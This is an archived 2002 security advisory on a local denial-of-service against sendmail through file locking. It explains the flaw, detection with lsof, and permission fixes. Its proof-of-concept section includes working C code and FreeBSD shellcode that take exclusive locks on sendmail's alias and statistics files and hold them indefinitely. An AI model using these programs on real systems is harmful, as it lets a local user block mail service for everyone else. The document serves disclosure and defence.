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TUCoPS :: Unix :: General :: unix5371.htm

Sendmail File Locking Local DoS



29th May 2002 [SBWID-5371]
COMMAND

	Sendmail File Locking Local DoS

SYSTEMS AFFECTED

	All versions ?

PROBLEM

	In  sendmail   advisory   [http://www.sendmail.org/LockingAdvisory.txt],
	lumpy <dynamo@ime.net> reported file locking impact on sendmail.
	

	 Introduction

	 ============

	

	Any application which uses either flock() or fcntl()  style  locking  or
	other APIs that use one of these locking methods (such  as  open()  with
	O_EXLOCK and O_SHLOCK) on files readable by other local untrusted  users
	may be susceptible to local denial of service attacks.
	

	Since this attack requires a user to use their own  account  to  lock  a
	file, it is  extremely  easy  to  find  the  user  responsible.  In  all
	likelihood, users would not be  foolish  enough  to  use  this  type  of
	denial of service.
	

	

	 The Problem

	 ===========

	

	Both locking types allow users who can open a file  to  apply  a  shared
	(read)  lock  on  that  file.  This  prevents  any  other  process  from
	obtaining an exclusive (write) lock on that file.
	

	Additionally, the flock() method allows users to obtain exclusive  locks
	on files which they can open for  reading.  fcntl()  locks  require  the
	file to opened for writing  which  offers  somewhat  better  protection.
	While a process holds an exclusive lock on a file, no other process  can
	obtain an exclusive or shared lock on that file.
	

	Although both flock() and fcntl()  locks  are  advisory,  their  use  to
	avoid  data  corruption  makes  them  essentially  compulsory  for  many
	programs.
	

	

	 Detection

	 =========

	

	The process holding locks can be found using tools  which  read  process
	file descriptor tables.  One such tool is lsof, available from:
	

	

		ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/

	

	

	With this tool, you can find the process or processes holding  a  shared
	or exclusive lock on a file:
	

	

		# lsof /etc/settings

		COMMAND   PID USER   FD   TYPE     DEVICE SIZE/OFF NODE NAME

		lockit  25472 badguy  3rW VREG 116,131072     1841  292 /etc/settings

	

	

	In  this  example,  user  badguy\'s  lockit  process  (pid  25472)   has
	/etc/settings opened for  \'r\'eading  and  has  obtained  an  exclusive
	(\'W\'rite) lock as shown by the FD column. If this were an attack,  the
	administrator could kill the offending process to drop the lock.
	

	 Sendmail File Locking

	 =====================

	

	File locking  is  used  throughout  sendmail  for  a  variety  of  files
	including aliases, maps, statistics, and the pid file. Any user who  can
	open one of  these  files  can  prevent  sendmail  or  it\'s  associated
	utilities, e.g., makemap or newaliases, from  operating  properly.  This
	can also affect sendmail\'s ability  to  update  status  files  such  as
	statistics files. For system which  use  flock()  for  file  locking,  a
	user\'s ability to obtain an  exclusive  lock  prevents  other  sendmail
	processes from reading certain files such as alias or map databases.
	

	You can determine which locking system is  used  by  sendmail  from  the
	output of:
	

	

		sendmail -bt -d0.10 < /dev/null | grep HASFLOCK

	

	

	If HASFLOCK is in the output, your system is using flock() for  locking.
	Otherwise, it is using fcntl() for locking. On the  following  operating
	systems, sendmail uses flock() by default:
	

	

		SunOS 4, Ultrix, Tru64 UNIX 4.X and earlier, NeXTstep, Darwin,

		Mac OS X, Mach386, Convex OS, RISC/OS, Linux 1.3.95 and later,

		Sony NEWS, and all BSD-based systems

	

	

	On all other operating systems, sendmail uses  fcntl()  for  locking  by
	default.
	

	Since queue files should already have restricted permissions,  the  only
	files that need adjustment are alias, map, statistics,  and  pid  files.
	These files should be owned by root or the  trusted  user  specified  in
	the TrustedUser option. Changing the permissions  to  be  only  readable
	and writable by that user is sufficient to avoid the denial of  service.
	For example, depending on the paths you use,  these  commands  would  be
	used:
	

	

		chmod 0640 /etc/mail/aliases /etc/mail/aliases.{db,pag,dir}

		chmod 0640 /etc/mail/*.{db,pag,dir}

		chmod 0640 /etc/mail/statistics /var/log/sendmail.st

		chmod 0600 /var/run/sendmail.pid /etc/mail/sendmail.pid

	

	

	If /var/run/ is cleared on reboots, you will  need  to  place  the  last
	chmod command for the pid file in  the  sendmail  startup  script  after
	sendmail is started.
	

	If the permissions 0640 are  used,  be  sure  that  only  trusted  users
	belong to the group assigned to those  files.  Otherwise,  files  should
	not even be group readable.
	

	Note that  the  denial  of  service  on  the  plain  text  aliases  file
	(/etc/mail/aliases)  only  prevents  newaliases  from   rebuilding   the
	aliases file. The same is true for the database files on  systems  which
	use fcntl() style locking. Since  it  does  not  interfere  with  normal
	operations, sites may chose to leave these files readable. Also,  it  is
	not necessary to protect the text files associated  with  map  databases
	as makemap does not lock those files.
	

	sendmail 8.12.4 will change the default permissions  for  newly  created
	map and alias database  files  to  mode  0640.  Also,  the  installation
	process will create the statistics file with mode 0600 if  it  does  not
	already exist. Finally, the pid file will be created with mode  0600  as
	well. A future version of sendmail will introduce  a  feature  to  limit
	the amount of time spent waiting for a file lock.
	

	 Proof Of Concept

	 ================

	

	written by zillion [http://www.snosoft.com]:
	

	

	#include <fcntl.h>

	#include <unistd.h>

	

	/*

	

	Stupid piece of code to test the sendmail lock vulnerability on 

	FreeBSD. Run this and try sendmail -t on FreeBSD for example.

	

	More info: http://www.sendmail.org/LockingAdvisory.txt

	

	zillion (at safemode.org && snosoft.com)

	

	*/

	

	int main() {

	

	  if(fork() == 0) {

	

	    char *lock1 = \"/etc/mail/aliases\";

	    char *lock2 = \"/etc/mail/aliases.db\";

	    char *lock3 = \"/var/log/sendmail.st\";

	

	    int fd;

	    fd = open(lock1,O_RDONLY);

	    flock(fd,0x02);

	

	    fd = open(lock2,O_RDONLY);

	    flock(fd,0x02);

	

	    fd = open(lock3,O_RDONLY);

	    flock(fd,0x02);

	

	    /* We are here to stay! */

	

	    for(;;) {}

	

	  }

	}

	

	

	Or the same using shellcode:
	

	

	/*

	

	FreeBSD Sendmail DoS shellcode that locks /etc/mail/aliases.db

	Written by zillion (at safemode.org && snosoft.com)

	

	More info: http://www.sendmail.org/LockingAdvisory.txt

	

	

	*/

	

	char shellcode[] =

	        \"\\xeb\\x1a\\x5e\\x31\\xc0\\x88\\x46\\x14\\x50\\x56\\xb0\\x05\\x50\\xcd\\x80\"

	        \"\\x6a\\x02\\x50\\xb0\\x83\\x50\\xcd\\x80\\x80\\xe9\\x03\\x78\\xfe\\xe8\\xe1\"

	        \"\\xff\\xff\\xff\\x2f\\x65\\x74\\x63\\x2f\\x6d\\x61\\x69\\x6c\\x2f\\x61\\x6c\"

	        \"\\x69\\x61\\x73\\x65\\x73\\x2e\\x64\\x62\";

	

	int main()

	{

	 

	  int *ret;

	  ret = (int *)&ret + 2;

	  (*ret) = (int)shellcode;

	}

	

	

SOLUTION

	 Workaround

	 ==========

	

	Since both locking methods  are  susceptible  to  a  denial  of  service
	attack, simply switching to fcntl() based locking on all  systems  would
	not solve the problem. However, as long as a user can not open  a  file,
	they can not lock it. Therefore, the workaround is to protect all  files
	which are locked by applications such that they can  not  be  opened  by
	untrusted users.


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